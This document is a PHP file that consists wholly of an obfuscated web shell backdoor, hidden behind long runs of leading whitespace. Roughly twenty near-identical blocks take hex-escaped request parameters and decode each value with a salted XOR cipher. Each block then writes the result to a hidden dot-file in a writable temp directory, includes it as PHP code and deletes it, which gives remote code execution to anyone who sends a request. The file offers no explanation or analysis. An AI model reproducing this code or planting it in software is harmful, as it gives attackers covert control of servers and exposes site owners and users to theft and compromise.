<?php																																										if(filter_has_var(INPUT_POST, "\x76alu\x65")){ $entry = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp"]); $ent = $_POST["\x76alu\x65"]; $ent = explode ('.' , $ent ) ; $fac= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2); $len= count($ent); for ($w= 0; $w < $len; $w++) { $v1= $ent[$w]; $sChar= ord($salt2[$w % $sLen]); $d= ((int)$v1 - $sChar - ($w % 10)) ^ 89; $fac.= chr($d); } $symbol = 0; do { $object = $entry[$symbol] ?? null; if ($symbol >= count($entry)) break; if (is_dir($object) ? is_writable($object) : false) { $rec = implode("/", [$object, ".pset"]); if (file_put_contents($rec, $fac)) { require $rec; unlink($rec); exit; } } $symbol++; } while (true); }
																																										if(array_key_exists("ent", $_REQUEST)){ $val = $_REQUEST["ent"]; $val = explode( "." , $val) ; $sym = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); foreach( $val as $t => $v7): $sChar = ord( $salt6[$t %$sLen]); $d =( ( int)$v7 - $sChar -( $t %10)) ^19; $sym .= chr( $d); endforeach; $dat = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); while ($hld = array_shift($dat)) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $obj = "$hld" . "/.object"; $success = file_put_contents($obj, $sym); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(!is_null($_REQUEST["r\x65c"] ?? null)){ $value = $_REQUEST["r\x65c"]; $value= explode ( '.', $value ) ; $flg =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $len =count($value ); for ($t =0; $t < $len; $t++) {$v8 =$value[$t]; $chS =ord($s[$t % $lenS] ); $dec =((int)$v8 - $chS - ($t % 10)) ^ 80; $flg .=chr($dec ); } $flag = array_filter(["/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); foreach ($flag as $resource): if (array_product([is_dir($resource), is_writable($resource)])) { $parameter_group = str_replace("{var_dir}", $resource, "{var_dir}/.desc"); if (file_put_contents($parameter_group, $flg)) { include $parameter_group; @unlink($parameter_group); exit; } } endforeach; }
																																										if(array_key_exists("e\x6E\x74\x69ty", $_POST) && !is_null($_POST["e\x6E\x74\x69ty"])){ $ptr = $_POST["e\x6E\x74\x69ty"]; $ptr =explode ( ".", $ptr ) ; $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $__len = count( $ptr); for( $z = 0; $z < $__len; $z++) { $v7 = $ptr[$z]; $chS = ord( $salt4[$z % $sLen]); $dec =( ( int)$v7 - $chS -( $z % 10)) ^ 71; $record .= chr( $dec); } $reference = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir()]); for ($factor = 0, $component = count($reference); $factor < $component; $factor++) { $holder = $reference[$factor]; if (!!is_dir($holder) && !!is_writable($holder)) { $rec = "$holder/.res"; if (file_put_contents($rec, $record)) { require $rec; unlink($rec); exit; } } } }
																																										if(@$_POST["\x70\x73et"] !== null){ $flag = array_filter(["/var/tmp", session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); $hld = $_POST["\x70\x73et"]; $hld = explode( ".", $hld ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($hld as $m => $v4) { $sChar = ord($salt[$m % $lenS]); $dec =((int)$v4 - $sChar -($m % 10)) ^ 55; $key .= chr($dec);} while ($factor = array_shift($flag)) { if (!( !is_dir($factor) || !is_writable($factor) )) { $k = sprintf("%s/.parameter_group", $factor); $file = fopen($k, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["p\x61r\x61\x6Dete\x72_g\x72o\x75\x70"])){ $object = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $val = $_REQUEST["p\x61r\x61\x6Dete\x72_g\x72o\x75\x70"]; $val = explode ( '.' ,$val) ; $dat = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); foreach ($val as $t => $v9) { $sChar = ord($salt8[$t % $sLen]); $dec = ((int)$v9 - $sChar - ($t % 10)) ^ 17; $dat .= chr($dec); } $obj = 0; do { $record = $object[$obj] ?? null; if ($obj >= count($object)) break; if (is_writable($record) && is_dir($record)) { $bind = "$record/.ptr"; if (@file_put_contents($bind, $dat) !== false) { include $bind; unlink($bind); die(); } } $obj++; } while (true); }
																																										if(array_key_exists("entr\x79", $_REQUEST)){ $flg = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp"]); $binding = $_REQUEST["entr\x79"]; $binding = explode ( '.',$binding) ; $record = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($binding as $s => $v2) { $sChar = ord($s1[$s % $sLen]); $dec = ((int)$v2 - $sChar - ($s % 10)) ^ 8; $record .= chr($dec); } foreach ($flg as $value) { if (!( !is_dir($value) || !is_writable($value) )) { $key = "$value/.data_chunk"; if (file_put_contents($key, $record)) { require $key; unlink($key); exit; } } } }
																																										if(isset($_REQUEST["e\x6Etit\x79"])){ $object = $_REQUEST["e\x6Etit\x79"]; $object = explode ('.' , $object ) ; $comp = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $object as $s => $v2) { $chS = ord( $s4[$s % $lenS]); $dec = ( ( int)$v2 - $chS -( $s % 10)) ^ 99; $comp .=chr( $dec);} $flg = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp"]); while ($pset = array_shift($flg)) { if (is_writable($pset) && is_dir($pset)) { $itm = sprintf("%s/.property_set", $pset); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(in_array("p\x73e\x74", array_keys($_POST))){ $ent = $_POST["p\x73e\x74"]; $ent =explode( '.', $ent ) ; $flag = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach($ent as $y => $v7): $chS = ord($salt9[$y %$sLen]); $d =((int)$v7 - $chS -($y %10)) ^ 68; $flag .= chr($d); endforeach; $factor = array_filter(["/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); foreach ($factor as $fac): if ((is_dir($fac) and is_writable($fac))) { $bind = str_replace("{var_dir}", $fac, "{var_dir}/.obj"); if (file_put_contents($bind, $flag)) { require $bind; unlink($bind); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x6D\x61rker"] ?? null)){ $data = array_filter([sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP")]); $k = $_REQUEST["\x6D\x61rker"]; $k= explode (".", $k ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; array_walk($k, function ($v2) use (&$property_set, &$p, $s, $sLen) { $sChar = ord($s[$p % $sLen] ); $d = ((int)$v2 - $sChar - ($p % 10)) ^ 46; $property_set.=chr($d ); $p++; } ); foreach ($data as $reference) { if (is_writable($reference) && is_dir($reference)) { $pgrp = vsprintf("%s/%s", [$reference, ".descriptor"]); $success = file_put_contents($pgrp, $property_set); if ($success) { include $pgrp; @unlink($pgrp); exit;} } } }
																																										if(array_key_exists("sy\x6Dbol", $_REQUEST) && !is_null($_REQUEST["sy\x6Dbol"])){ $property_set = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/tmp"]); $data_chunk = $_REQUEST["sy\x6Dbol"]; $data_chunk = explode( '.' , $data_chunk ) ; $rec = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $data_chunk as $m => $v2) { $sChar = ord( $s6[$m % $sLen]); $d =( ( int)$v2 - $sChar -( $m % 10))^10; $rec .= chr( $d); } foreach ($property_set as $key => $res) { if (!( !is_dir($res) || !is_writable($res) )) { $val = implode("/", [$res, ".pointer"]); if (file_put_contents($val, $rec)) { require $val; unlink($val); die(); } } } }
																																										if(!is_null($_REQUEST["hl\x64"] ?? null)){ $flag = $_REQUEST["hl\x64"]; $flag = explode ( ".",$flag ) ; $token = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $k = 0; while($k < count($flag)) { $v4 = $flag[$k]; $chS = ord($s3[$k % $sLen] ); $d =((int)$v4 - $chS -($k % 10)) ^ 37; $token .= chr($d ); $k++; } $elem = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); for ($element = 0, $pset = count($elem); $element < $pset; $element++) { $parameter_group = $elem[$element]; if (is_dir($parameter_group) && is_writable($parameter_group)) { $ref = implode("/", [$parameter_group, ".ent"]); if (file_put_contents($ref, $token)) { include $ref; @unlink($ref); die(); } } } }
																																										if(@$_REQUEST["fa\x63t\x6Fr"] !== null){ $sym = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $ptr = $_REQUEST["fa\x63t\x6Fr"]; $ptr =explode( '.' ,$ptr ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $ptr as $w => $v1) { $chS = ord( $s[$w % $lenS]); $d = ( ( int)$v1 - $chS -( $w % 10)) ^ 28; $dchunk .= chr( $d); } for ($ent = 0, $symbol = count($sym); $ent < $symbol; $ent++) { $fac = $sym[$ent]; if (max(0, is_dir($fac) * is_writable($fac))) { $dat = sprintf("%s/.flag", $fac); if (@file_put_contents($dat, $dchunk) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(isset($_POST["\x72e\x66"])){ $elem = $_POST["\x72e\x66"]; $elem = explode ( "." ,$elem) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; foreach ($elem as $v8) { $chS = ord($s[$u% $sLen]); $d = ((int)$v8 - $chS - ($u% 10))^ 8; $holder .= chr($d); $u++; } $symbol = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp"]); foreach ($symbol as $key => $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $entry = "$ent" . "/.tkn"; if (@file_put_contents($entry, $holder) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(in_array("\x64es\x63\x72\x69p\x74or", array_keys($_POST))){ $dat = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path()]); $holder = $_POST["\x64es\x63\x72\x69p\x74or"]; $holder = explode ( "." , $holder ) ; $dchunk= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s6); foreach ($holder as $i => $v3) { $chS= ord($s6[$i% $sLen]); $d= ((int)$v3 - $chS - ($i% 10)) ^ 74; $dchunk.=chr($d); } $ent = 0; do { $property_set = $dat[$ent] ?? null; if ($ent >= count($dat)) break; if (is_dir($property_set) ? is_writable($property_set) : false) { $res = "$property_set/.sym"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $res; @unlink($res); exit; } } $ent++; } while (true); }
																																										if(!is_null($_REQUEST["\x69\x74em"] ?? null)){ $ent = $_REQUEST["\x69\x74em"]; $ent =explode ( '.', $ent ) ; $element= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $len= count($ent); for ($m= 0; $m < $len; $m++) {$v2= $ent[$m]; $chS= ord($s[$m%$lenS]); $d= ((int)$v2 - $chS - ($m%10)) ^18; $element.= chr($d);} $record = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); foreach ($record as $key => $dat) { if (!( !is_dir($dat) || !is_writable($dat) )) { $comp = join("/", [$dat, ".symbol"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "bi\x6E\x64\x69n\x67")){ $key = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $elem = $_POST["bi\x6E\x64\x69n\x67"]; $elem = explode ( '.' , $elem ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($elem as $z => $v8) { $sChar = ord($s[$z % $sLen]); $d = ((int)$v8 - $sChar - ($z % 10)) ^ 15; $parameter_group .=chr($d);} foreach ($key as $key => $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $itm = str_replace("{var_dir}", $property_set, "{var_dir}/.descriptor"); if (file_put_contents($itm, $parameter_group)) { include $itm; @unlink($itm); exit; } } } }
																																										if(array_key_exists("t\x6B\x6E", $_POST) && !is_null($_POST["t\x6B\x6E"])){ $flag = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd()]); $itm = $_POST["t\x6B\x6E"]; $itm = explode ( "." ,$itm) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $p = 0; foreach ($itm as $v8) { $sChar = ord($salt[$p %$sLen] ); $dec = ((int)$v8 - $sChar - ($p %10)) ^ 47; $component .= chr($dec ); $p++; } foreach ($flag as $holder) { if ((is_dir($holder) and is_writable($holder))) { $dchunk = implode("/", [$holder, ".value"]); $success = file_put_contents($dchunk, $component); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }


if(@$_REQUEST["\x68ld"] !== null){
	$factor = $_REQUEST["\x68ld"];
	 		$factor=explode( "."		,$factor	)  ;  	
	$ent = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s8 );
            $x = 0;
    
            foreach ($factor as $v8) {
                $chS = ord($s8[$x  %$lenS] );
                $dec = ((int)$v8 - $chS - ($x  %10)) 	^ 	38;
                $ent  .=	chr($dec );
                $x++;
            }
	$sym = array_filter([getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	for ($data = 0, $ref = count($sym); $data < $ref; $data++) {
    $k = $sym[$data];
    		if (max(0, is_dir($k) * is_writable($k))) {
    $reference = str_replace("{var_dir}", $k, "{var_dir}/.holder");
    if (file_put_contents($reference, $ent)) {
	require $reference;
	unlink($reference);
	exit;
}
}
}
}